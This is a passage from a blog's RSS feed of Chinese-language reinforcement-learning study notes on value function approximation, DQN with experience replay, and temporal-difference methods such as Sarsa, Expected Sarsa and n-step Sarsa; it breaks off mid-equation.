&lt;p&gt;这里的系数 $\beta_t$ 能够很好地平衡探索与利用：它与回报 $q_t$ 成正比（鼓励高回报动作），与动作概率 $\pi$ 成反比（赋予罕见动作更大的更新步长，从而鼓励探索）。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：值函数近似</title><link>https://zh.maxtonniu.com/blog/rl_chapter08</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter08</guid><description>总结强化学习中值函数近似的核心概念，涵盖线性与非线性近似、状态分布假设与梯度优化方法，并梳理DQN及经验回放机制。</description><pubDate>Sat, 21 Feb 2026 21:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;值函数近似 (Value Function Approximation)&lt;/h1&gt;
&lt;h2&gt;线性函数形式&lt;/h2&gt;
&lt;p&gt;$$
\hat{v}(s, w) = as + b = \underbrace{[s, 1]}&lt;em&gt;{\phi^T(s)} \underbrace{\begin{bmatrix} a \ b \end{bmatrix}}&lt;/em&gt;{w} = \phi^T(s)w
$$&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$w$ 是参数向量。&lt;/li&gt;
&lt;li&gt;$\phi(s)$ 是状态 $s$ 的特征向量。&lt;/li&gt;
&lt;li&gt;$\hat{v}(s, w)$ 关于 $w$ 是线性的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;非线性函数形式&lt;/h2&gt;
&lt;p&gt;$$
\hat{v}(s, w) = as^2 + bs + c = \underbrace{[s^2, s, 1]}&lt;em&gt;{\phi^T(s)} \underbrace{\begin{bmatrix} a \ b \ c \end{bmatrix}}&lt;/em&gt;{w} = \phi^T(s)w
$$&lt;/p&gt;
&lt;p&gt;在这种情况下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$w$ 和 $\phi(s)$ 的维度增加了，数值拟合可能会更准确。&lt;/li&gt;
&lt;li&gt;虽然 $\hat{v}(s, w)$ 关于状态 $s$ 是非线性的，但它关于参数 $w$ 依然是线性的。非线性特征被包含在 $\phi(s)$ 的映射中。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;状态价值估计 (State Value Estimation)&lt;/h2&gt;
&lt;p&gt;目标函数（Objective Function）：&lt;/p&gt;
&lt;p&gt;$$
J(w) = \mathbb{E}[(v_\pi(S) - \hat{v}(S, w))^2]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;核心目标是找到最优的参数 $w$ 来最小化该目标函数。&lt;/li&gt;
&lt;li&gt;$S$ 是一个随机变量，其概率分布主要有以下两种考量：&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;平均分布 (Uniform Distribution)&lt;/h3&gt;
&lt;p&gt;$$
J(w) = \frac{1}{|\mathcal{S}|} \sum_{s \in \mathcal{S}} (v_\pi(s) - \hat{v}(s, w))^2
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;平均分布平等对待所有状态。但实际强化学习中，某些状态的访问频率更高且更关键，因此这种分布往往不适用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;稳态分布 (Stationary Distribution)&lt;/h3&gt;
&lt;p&gt;稳态分布描述了马尔可夫过程的长期行为（Long-run behavior）。其中 ${d_{\pi}(s)}&lt;em&gt;{s \in \mathcal{S}}$ 代表了状态分布的集合，满足 $d&lt;/em&gt;{\pi}(s) \geq 0$ 且 $\sum_{s \in \mathcal{S}} d_{\pi}(s) = 1$。&lt;/p&gt;
&lt;p&gt;$$
J(w) = \sum_{s \in \mathcal{S}} d_{\pi}(s)(v_{\pi}(s) - \hat{v}(s, w))^2
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$d_{\pi}(s)$ 代表了在策略 $\pi$ 下处于特定状态的概率平稳值。使用稳态分布可以使得在常访问状态上的拟合误差更小。&lt;/li&gt;
&lt;li&gt;稳态分布满足公式：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
d_{\pi}^T = d_{\pi}^T P_{\pi}
$$&lt;/p&gt;
&lt;p&gt;其中 $P_{\pi}$ 为贝尔曼方程中的状态转移矩阵。&lt;/p&gt;
&lt;h2&gt;优化方法&lt;/h2&gt;
&lt;p&gt;使用梯度下降法更新参数：&lt;/p&gt;
&lt;p&gt;$$
w_{k+1} = w_k - \alpha_k \nabla_w J(w_k)
$$&lt;/p&gt;
&lt;p&gt;真实梯度的推导过程如下：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\nabla_w J(w) &amp;#x26;= \nabla_w \mathbb{E}[(v_\pi(S) - \hat{v}(S, w))^2] \
&amp;#x26;= \mathbb{E}[\nabla_w (v_\pi(S) - \hat{v}(S, w))^2] \
&amp;#x26;= 2\mathbb{E}[(v_\pi(S) - \hat{v}(S, w))(-\nabla_w \hat{v}(S, w))] \
&amp;#x26;= -2\mathbb{E}[(v_\pi(S) - \hat{v}(S, w))\nabla_w \hat{v}(S, w)]
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;在实际应用中，通常采用随机梯度下降（SGD）：&lt;/p&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_t (v_\pi(s_t) - \hat{v}(s_t, w_t)) \nabla_w \hat{v}(s_t, w_t)
$$&lt;/p&gt;
&lt;p&gt;其中 $s_t$ 是 $S$ 的一个采样。为了表达简洁，常数 $2$ 被吸收到学习率 $\alpha_t$ 中。由于真实的 $v_{\pi}(s_t)$ 未知，我们需要用估计值来替代它：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基于蒙特卡洛 (Monte Carlo)&lt;/strong&gt;：使用一个回合中的折扣回报 $g_t$ 来近似 $v_{\pi}(s_t)$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_t (g_t - \hat{v}(s_t, w_t)) \nabla_w \hat{v}(s_t, w_t)
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基于时序差分 (Temporal Difference, TD)&lt;/strong&gt;：目标值 $r_{t+1}+\gamma\hat{v}(s_{t+1},w_t)$ 被视为 $v_{\pi}(s_t)$ 的近似。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_t [r_{t+1} + \gamma \hat{v}(s_{t+1}, w_t) - \hat{v}(s_t, w_t)] \nabla_w \hat{v}(s_t, w_t)
$$&lt;/p&gt;
&lt;h2&gt;TD-Linear 算法&lt;/h2&gt;
&lt;p&gt;在 $\hat{v}(s, w) = \phi^T(s)w$ 的线性情况下，梯度为：&lt;/p&gt;
&lt;p&gt;$$
\nabla_w \hat{v}(s, w) = \phi(s)
$$&lt;/p&gt;
&lt;p&gt;将梯度代入 TD 算法：&lt;/p&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_t [r_{t+1} + \gamma \phi^T(s_{t+1}) w_t - \phi^T(s_t) w_t] \phi(s_t)
$$&lt;/p&gt;
&lt;p&gt;这就是带线性函数逼近的 TD 学习算法，简称为 &lt;strong&gt;TD-Linear&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;线性近似的求导解析&lt;/h3&gt;
&lt;p&gt;在强化学习的线性近似中，$\hat{v}(s, w)$ 是一个标量（预测的状态价值），而 $w$ 是一个向量（权重参数）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;拆解线性表达式&lt;/strong&gt;
对于列向量 $\phi(s) = [\phi_1, \dots, \phi_n]^T$ 和 $w = [w_1, \dots, w_n]^T$，内积为：&lt;/p&gt;
&lt;p&gt;$$
\hat{v}(s, w) = \sum_{i=1}^{n} \phi_i w_i
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对向量求导&lt;/strong&gt;
$\nabla_w \hat{v}(s, w)$ 的本质是对标量函数按向量 $w$ 的每一个分量求偏导：&lt;/p&gt;
&lt;p&gt;$$
\frac{\partial}{\partial w_i} (\phi_1 w_1 + \dots + \phi_n w_n) = \phi_i
$$&lt;/p&gt;
&lt;p&gt;拼合后即得到 $\nabla_w \hat{v}(s, w) = \phi(s)$。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;表格表示 (Tabular Representation)&lt;/h3&gt;
&lt;p&gt;表格法是线性函数逼近的一个特例。
设定状态 $s$ 的特征向量为独热编码（One-hot）向量：&lt;/p&gt;
&lt;p&gt;$$
\phi(s) = e_s \in \mathbb{R}^{|\mathcal{S}|}
$$&lt;/p&gt;
&lt;p&gt;此时：&lt;/p&gt;
&lt;p&gt;$$
\hat{v}(s, w) = e_s^T w = w(s)
$$&lt;/p&gt;
&lt;p&gt;即 $w(s)$ 提取了向量 $w$ 中对应状态 $s$ 的第 $s$ 个分量。&lt;/p&gt;
&lt;h2&gt;动作价值函数近似&lt;/h2&gt;
&lt;h3&gt;Sarsa with Function Approximation&lt;/h3&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_t \left[ r_{t+1} + \gamma \hat{q}(s_{t+1}, a_{t+1}, w_t) - \hat{q}(s_t, a_t, w_t) \right] \nabla_w \hat{q}(s_t, a_t, w_t)
$$&lt;/p&gt;
&lt;h3&gt;Q-learning with Function Approximation&lt;/h3&gt;
&lt;p&gt;$$
w_{t+1} = w_t + \alpha_t \left[ r_{t+1} + \gamma \max_{a \in \mathcal{A}(s_{t+1})} \hat{q}(s_{t+1}, a, w_t) - \hat{q}(s_t, a_t, w_t) \right] \nabla_w \hat{q}(s_t, a_t, w_t)
$$&lt;/p&gt;
&lt;h2&gt;深度 Q 网络 (Deep Q-Network, DQN)&lt;/h2&gt;
&lt;p&gt;DQN 使用神经网络来逼近非线性的 Q 函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;损失函数 (Loss Function)&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
J(w) = \mathbb{E} \left[ \left( R + \gamma \max_{a \in \mathcal{A}(S&apos;)} \hat{q}(S&apos;, a, w) - \hat{q}(S, A, w) \right)^2 \right]
$$&lt;/p&gt;
&lt;p&gt;这实际上是在最小化贝尔曼最优误差 (Bellman Optimality Error)。定义目标值 $y$ 为：&lt;/p&gt;
&lt;p&gt;$$
y \doteq R + \gamma \max_{a \in \mathcal{A}(S&apos;)} \hat{q}(S&apos;, a, w)
$$&lt;/p&gt;
&lt;p&gt;为了保证训练的稳定性，防止目标值随着网络更新不断移动，DQN 引入了双网络架构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主网络 (Main Network)&lt;/strong&gt;：$\hat{q}(S, A, w)$，负责当前动作的评估与参数实时更新。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标网络 (Target Network)&lt;/strong&gt;：$\hat{q}(S&apos;, A, w_T)$，提供稳定的目标值 $y$。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;引入目标网络后的损失函数变为：&lt;/p&gt;
&lt;p&gt;$$
J(w) = \mathbb{E} \left[ \left( R + \gamma \max_{a \in \mathcal{A}(S&apos;)} \hat{q}(S&apos;, a, w_T) - \hat{q}(S, A, w) \right)^2 \right]
$$&lt;/p&gt;
&lt;p&gt;在运算时，假定 $w_T$ 是常数（即不参与梯度计算），梯度下降仅更新 $w$：&lt;/p&gt;
&lt;p&gt;$$
\nabla_w J(w) = -2\mathbb{E} \left[ \left( R + \gamma \max_{a \in \mathcal{A}(S&apos;)} \hat{q}(S&apos;, a, w_T) - \hat{q}(S, A, w) \right) \nabla_w \hat{q}(S, A, w) \right]
$$&lt;/p&gt;
&lt;p&gt;&lt;em&gt;注：主网络的参数 $w$ 每隔一段时间会复制给目标网络 $w_T$。&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;经验回放 (Experience Replay)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;动机&lt;/strong&gt;：强化学习中收集的连续数据存在强相关性，直接用于训练容易导致网络不稳定。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;机制&lt;/strong&gt;：将智能体与环境交互产生的数据以 $(s, a, r, s&apos;)$ 的元组形式存入一个回放缓冲区（Replay Buffer）$\mathcal{B}$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;采样&lt;/strong&gt;：在训练时，从缓冲区中抽取一批随机采样（Mini-batch）。这种抽取过程通常采用均匀分布（Uniform Distribution），从而打破数据之间的时间相关性，并显著提高数据的利用率。&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：时序差分算法</title><link>https://zh.maxtonniu.com/blog/rl_chapter07</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter07</guid><description>整理时序差分算法的核心思想，对比TD与MC的区别，并梳理Sarsa、n-step Sarsa与Q-learning等经典算法的更新机制与理论依据。</description><pubDate>Fri, 20 Feb 2026 20:40:00 GMT</pubDate><content:encoded>&lt;h1&gt;时序差分算法（Temporal-Difference learning）&lt;/h1&gt;
&lt;h2&gt;TD learning of state values&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;该算法用于求解给定策略 $\pi$ 下的状态价值 (state value)。&lt;/li&gt;
&lt;li&gt;本节主要介绍用于估计状态价值的基础 TD 算法（通常指 TD(0)）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;算法所需的数据/经验：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$(s_0, r_1, s_1, \dots, s_t, r_{t+1}, s_{t+1}, \dots)$ 或 ${(s_t, r_{t+1}, s_{t+1})}_t$，这些数据是按照给定策略 $\pi$ 与环境交互生成的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;TD 学习算法（TD learning algorithm）更新公式：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$
v_{t+1}(s_t) = v_t(s_t) - \alpha_t(s_t) \big[ v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] \big], \quad (1)
$$&lt;/p&gt;
&lt;p&gt;$$
v_{t+1}(s) = v_t(s), \quad \forall s \neq s_t, \quad (2)
$$&lt;/p&gt;
&lt;p&gt;其中 $t = 0, 1, 2, \dots$。这里，$v_t(s_t)$ 是对状态价值 $v_\pi(s_t)$ 的当前估计；$\alpha_t(s_t)$ 是在时刻 $t$ 状态 $s_t$ 下的学习率。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在时刻 $t$，仅更新当前访问状态 $s_t$ 的价值，而未访问状态 $s \neq s_t$ 的价值保持不变。&lt;/li&gt;
&lt;li&gt;在语境明确时，式 (2) 的保持步骤通常会被省略。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;具体分析核心更新式：&lt;/p&gt;
&lt;p&gt;$$
v_{t+1}(s_t) = v_t(s_t) - \alpha_t(s_t) \big[ v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] \big]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TD target&lt;/strong&gt; : $\bar{v}&lt;em&gt;t \doteq r&lt;/em&gt;{t+1} + \gamma v_t(s_{t+1})$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TD error&lt;/strong&gt;: $\delta_t \doteq v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})] = v_t(s_t) - \bar{v}_t$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;算法的核心思想是使当前的估计值 $v_t(s_t)$ 不断向目标值 $\bar{v}_t$ 靠拢。推导如下：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
&amp;#x26; v_{t+1}(s_t) = v_t(s_t) - \alpha_t(s_t) [v_t(s_t) - \bar{v}&lt;em&gt;t] \
\implies &amp;#x26; v&lt;/em&gt;{t+1}(s_t) - \bar{v}_t = v_t(s_t) - \bar{v}_t - \alpha_t(s_t) [v_t(s_t) - \bar{v}&lt;em&gt;t] \
\implies &amp;#x26; v&lt;/em&gt;{t+1}(s_t) - \bar{v}_t = [1 - \alpha_t(s_t)] [v_t(s_t) - \bar{v}&lt;em&gt;t] \
\implies &amp;#x26; |v&lt;/em&gt;{t+1}(s_t) - \bar{v}_t| = |1 - \alpha_t(s_t)| |v_t(s_t) - \bar{v}_t|
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;当学习率 $\alpha_t(s_t) \in (0, 1)$ 时，显然 $0 &amp;#x3C; 1 - \alpha_t(s_t) &amp;#x3C; 1$，这意味着估计值与目标值之间的距离被逐步压缩，使其不断向目标收敛。&lt;/p&gt;
&lt;p&gt;关于 &lt;strong&gt;TD error&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;$$
\delta_t = v_t(s_t) - [r_{t+1} + \gamma v_t(s_{t+1})]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它是两个连续时间步 (time steps) 价值估计之间的差异。&lt;/li&gt;
&lt;li&gt;它反映了当前估计 $v_t$ 与真实价值 $v_\pi$ 之间的偏差 (deficiency)。为了证明这一点，定义真实价值下的误差：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$$
\delta_{\pi,t} \doteq v_\pi(s_t) - [r_{t+1} + \gamma v_\pi(s_{t+1})]
$$&lt;/p&gt;
&lt;p&gt;根据 $v_\pi(s_t)$ 的定义，对其取期望：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}[\delta_{\pi,t} | S_t = s_t] = v_\pi(s_t) - \mathbb{E}[R_{t+1} + \gamma v_\pi(S_{t+1}) | S_t = s_t] = 0
$$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;由上式可知，算法的目标是在期望意义上满足贝尔曼方程。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;如果 $v_t = v_\pi$，那么 $\delta_t$ 的期望应该为零。&lt;/li&gt;
&lt;li&gt;反之，如果 $\delta_t$ 不为零，说明 $v_t$ 尚未收敛到 $v_\pi$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TD error&lt;/strong&gt; 在本质上可视为一种创新信息 (innovation)，代表从最新经验 $(s_t, r_{t+1}, s_{t+1})$ 中获取的能够用于修正当前认知的反馈。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上述过程主要用于策略评估 (Policy Evaluation)。TD 算法的优势在于无需环境的完整模型（转移概率等），就能直接通过采样数据近似计算贝尔曼方程。&lt;/p&gt;
&lt;h3&gt;Bellman expectation equation&lt;/h3&gt;
&lt;p&gt;策略 $\pi$ 的状态价值定义为：&lt;/p&gt;
&lt;p&gt;$$
v_\pi(s) = \mathbb{E}[R + \gamma G | S = s], \quad s \in \mathcal{S}
$$&lt;/p&gt;
&lt;p&gt;其中 $G$ 是折扣回报 (discounted return)。由于：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}[G | S = s] = \sum_{a} \pi(a|s) \sum_{s&apos;} p(s&apos;|s, a) v_\pi(s&apos;) = \mathbb{E}[v_\pi(S&apos;) | S = s]
$$&lt;/p&gt;
&lt;p&gt;其中 $S&apos;$ 是下一状态 (next state)，我们可以将方程改写为贝尔曼期望方程：&lt;/p&gt;
&lt;p&gt;$$
v_\pi(s) = \mathbb{E}[R + \gamma v_\pi(S&apos;) | S = s], \quad s \in \mathcal{S}.
$$&lt;/p&gt;
&lt;p&gt;我们可以借助随机近似 (Robbins-Monro) 算法的思想来求解该方程：&lt;/p&gt;
&lt;p&gt;$$
g(v(s)) = v(s) - \mathbb{E}[R + \gamma v_\pi(S&apos;) | s] = 0
$$&lt;/p&gt;
&lt;p&gt;由于在实际中只能获得 $R$ 和 $S&apos;$ 的采样样本 $r$ 和 $s&apos;$，我们得到的带噪观测值 (noisy observation) 为：&lt;/p&gt;
&lt;p&gt;$$
\tilde{g}(v(s)) = v(s) - [r + \gamma v_\pi(s&apos;)]
$$&lt;/p&gt;
&lt;p&gt;它可以分解为真实梯度与噪声之和：&lt;/p&gt;
&lt;p&gt;$$
= \underbrace{\left(v(s) - \mathbb{E}[R + \gamma v_\pi(S&apos;) | s]\right)}&lt;em&gt;{g(v(s))} + \underbrace{\left(\mathbb{E}[R + \gamma v&lt;/em&gt;\pi(S&apos;) | s] - [r + \gamma v_\pi(s&apos;)]\right)}_{\eta}.
$$&lt;/p&gt;
&lt;p&gt;套用更新法则：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
v_{k+1}(s) &amp;#x26;= v_k(s) - \alpha_k \tilde{g}(v_k(s)) \
&amp;#x26;= v_k(s) - \alpha_k \left( v_k(s) - \left[ r_k + \gamma v_\pi(s&apos;_k) \right] \right), \quad k=1, 2, 3, \dots
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;相较于理论方程，实际应用的 TD 算法做了两点核心近似（修改）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将 ${s, r, s&apos;}$ 替换为实际轨迹采样 ${s_t, r_{t+1}, s_{t+1}}$。即不再需要反复在特定状态 $s$ 采样大量数据，而是访问到 $s_t$ 时就进行一次单步更新，未访问的状态保持不变。&lt;/li&gt;
&lt;li&gt;将未知的真实值 $v_{\pi}(s_k&apos;)$ 替换为当前的估计值 $v_k(s_k&apos;)$，即引入了自举 (Bootstrapping) 机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TD vs MC&lt;/h3&gt;
&lt;p&gt;| 特性                     | TD / Sarsa 学习 (TD/Sarsa learning)                                                                  | MC 学习 (MC learning)                                                                                                     |
|:---------------------- |:-------------------------------------------------------------------------------------------------- |:----------------------------------------------------------------------------------------------------------------------- |
| &lt;strong&gt;在线/离线&lt;/strong&gt;              | &lt;strong&gt;在线 (Online)&lt;/strong&gt;：TD 学习是在线的。它可以在执行单步转移收到奖励后，立即更新状态/动作价值。                                             | &lt;strong&gt;离线 (Offline)&lt;/strong&gt;：MC 学习是离线的。它必须等待整个回合 (episode) 结束后，才能利用完整的轨迹回报进行更新。                                                     |
| &lt;strong&gt;任务类型&lt;/strong&gt;               | &lt;strong&gt;连续性任务 (Continuing tasks)&lt;/strong&gt;：得益于单步更新的特性，它可以无缝处理回合制任务和无限长的连续性任务。                                    | &lt;strong&gt;回合制任务 (Episodic tasks)&lt;/strong&gt;：由于需要等待终点计算总回报，它只能处理有明确终止状态的回合制任务。                                                            |
| &lt;strong&gt;自举 (Bootstrapping)&lt;/strong&gt; | &lt;strong&gt;自举 (Bootstrapping)&lt;/strong&gt;：更新依赖于对下一个状态价值的当前估计（用估计更新估计），因此需要设定初始猜测值。                                    | &lt;strong&gt;非自举 (Non-bootstrapping)&lt;/strong&gt;：直接使用实际采样的完整累积回报来估计价值，无需依赖其他状态的现有估计。                                                         |
| &lt;strong&gt;估计方差 (Variance)&lt;/strong&gt;    | &lt;strong&gt;低估计方差 (Low estimation variance)&lt;/strong&gt;：单步更新涉及的随机变量少。例如 Sarsa 仅引入了 $R_{t+1}, S_{t+1}, A_{t+1}$ 的单步随机性。 | &lt;strong&gt;高估计方差 (High estimation variance)&lt;/strong&gt;：为了估计价值，需要累加整个轨迹的奖励 $R_{t+1} + \gamma R_{t+2} + \dots$ 假设回合长度为 $L$，长序列会引入巨大的随机性和方差。 |&lt;/p&gt;
&lt;h2&gt;TD learning of action values: Sarsa&lt;/h2&gt;
&lt;p&gt;Sarsa 旨在估计给定策略 $\pi$ 的动作价值函数 $q_\pi$。算法通过以下经验序列序列进行学习：&lt;/p&gt;
&lt;p&gt;$$
{(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1})}_t
$$&lt;/p&gt;
&lt;p&gt;对于在 $t$ 时刻访问的状态-动作对 $(s_t, a_t)$，更新公式为：&lt;/p&gt;
&lt;p&gt;$$
q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - (r_{t+1} + \gamma q_t(s_{t+1}, a_{t+1})) \right]
$$&lt;/p&gt;
&lt;p&gt;对于其他未访问的状态-动作对 $(s, a) \neq (s_t, a_t)$，其价值保持不变：&lt;/p&gt;
&lt;p&gt;$$
q_{t+1}(s, a) = q_t(s, a)
$$&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$q_t(s_t, a_t)$：动作价值 $q_\pi(s_t, a_t)$ 的当前估计值。&lt;/li&gt;
&lt;li&gt;$\alpha_t(s_t, a_t)$：学习率，通常随时间衰减以保证收敛。&lt;/li&gt;
&lt;li&gt;$r_{t+1} + \gamma q_t(s_{t+1}, a_{t+1})$：TD 目标值。这里体现了 Sarsa “同策略”（On-policy）的特点，即严格使用当前策略 $\pi$ 实际采取的下一个动作 $a_{t+1}$ 来计算目标并更新当前值。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;严格来说，上述单步公式属于 Sarsa 的策略评估部分。在实际控制问题中，Sarsa 算法通常代指结合了该评估公式与策略改进机制（如 $\epsilon$-greedy）的完整控制闭环。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Expected Sarsa&lt;/h2&gt;
&lt;p&gt;Expected Sarsa 改进了标准 Sarsa 的目标计算方式：&lt;/p&gt;
&lt;p&gt;$$
q_{t+1}(s_t, a_t) = q_t(s_t, a_t) - \alpha_t(s_t, a_t) \left[ q_t(s_t, a_t) - \left(r_{t+1} + \gamma \mathbb{E}[q_t(s_{t+1}, A)]\right) \right]
$$&lt;/p&gt;
&lt;p&gt;$$
q_{t+1}(s, a) = q_t(s, a), \quad \forall (s, a) \neq (s_t, a_t)
$$&lt;/p&gt;
&lt;p&gt;其中期望项展开为：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}[q_t(s_{t+1}, A)] = \sum_a \pi_t(a|s_{t+1}) q_t(s_{t+1}, a) \doteq v_t(s_{t+1})
$$&lt;/p&gt;
&lt;p&gt;即在当前策略 $\pi_t$ 下，下一状态所有可能动作价值的期望值。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TD target 的变化&lt;/strong&gt;：Sarsa 依赖单次采样的特定动作 $a_{t+1}$，而 Expected Sarsa 对下一步的所有可能动作按策略概率求了期望。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;降低方差&lt;/strong&gt;：虽然每个时间步需要计算所有候选动作的价值（增加了少量计算量），但它消除了选择下一步动作 $A_{t+1}$ 带来的随机性。目标值涉及的随机变量从 ${s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}}$ 缩减到了 ${s_t, a_t, r_{t+1}, s_{t+1}}$，从而有效降低了估计方差。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其本质试图求解的数学期望等式为：&lt;/p&gt;
&lt;p&gt;$$
q_\pi(s, a) = \mathbb{E} \left[ R_{t+1} + \gamma \mathbb{E}&lt;em&gt;{A&lt;/em&gt;{t+1} \sim \pi(\cdot|S_{t+1})} [q_\pi(S_{t+1}, A_{t+1})] \middle| S_t = s, A_t = a \right]
$$&lt;/p&gt;
&lt;p&gt;即：&lt;/p&gt;
&lt;p&gt;$$
q_\pi(s, a) = \mathbb{E} \left[ R_{t+1} + \gamma v_\pi(S_{t+1}) \middle| S_t = s, A_t = a \right]
$$&lt;/p&gt;
&lt;h2&gt;n-step Sarsa&lt;/h2&gt;
&lt;p&gt;n-step Sarsa 是一种广义的方法，单步 Sarsa 和完整视角的 MC 都可以看作是它的极端情况。核心在于截断回报 (truncated return) 的步数差异：&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\text{Sarsa (1-step)} \longleftarrow \quad G_t^{(1)} &amp;#x26;= R_{t+1} + \gamma q_\pi(S_{t+1}, A_{t+1}) \
G_t^{(2)} &amp;#x26;= R_{t+1} + \gamma R_{t+2} + \gamma^2 q_\pi(S_{t+2}, A_{t+2}) \
&amp;#x26;\vdots \
n\text{-step Sarsa} \longleftarrow \quad G_t^{(n)} &amp;#x26;= R_{t+1} + \gamma R_{t+2} + \cdots + \gamma^n q_\pi(S_{t+n}, A_{t+n}) \
&amp;#x26;\vdots \
\text{MC} \longleftarrow \quad G_t^{(\infty)} &amp;#x26;= R_{t+1} + \gamma R_{t+2} + \gamma^2 R_{t+3} + \cdots
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;它们试图拟合的理论期望：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sarsa (1-step):&lt;/p&gt;
&lt;p&gt;$$
q_{\pi}(s, a) = \mathbb{E}[G_t^{(1)} | s, a] = \mathbb{E}[R_{t+1} + \gamma q_{\pi}(S_{t+1}, A_{t+1}) | s, a]
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MC learning:&lt;/p&gt;
&lt;p&gt;$$
q_{\pi}(s, a) = \mathbb{E}[G_t^{(\infty)} | s, a] = \mathbb{E}[R_{t+1} + \gamma R_{t+2} + \gamma^2 R_{t+3} + \dots | s, a]
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;n-step Sarsa:&lt;/p&gt;
&lt;p&gt;$$
q_{\pi}(s, a) = \mathbb{E}[G_t^{(n)} | s, a] = \mathbb{E}[R_{t+1} + \gamma R_{t+2} + \dots + \gamma^n q_{\pi}(S_{t+n}, A_{t+n}) | s, a]
$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;$n$-step Sarsa 更新算法&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;理论上的更新公式为：&lt;/p&gt;
&lt;p&gt;$$
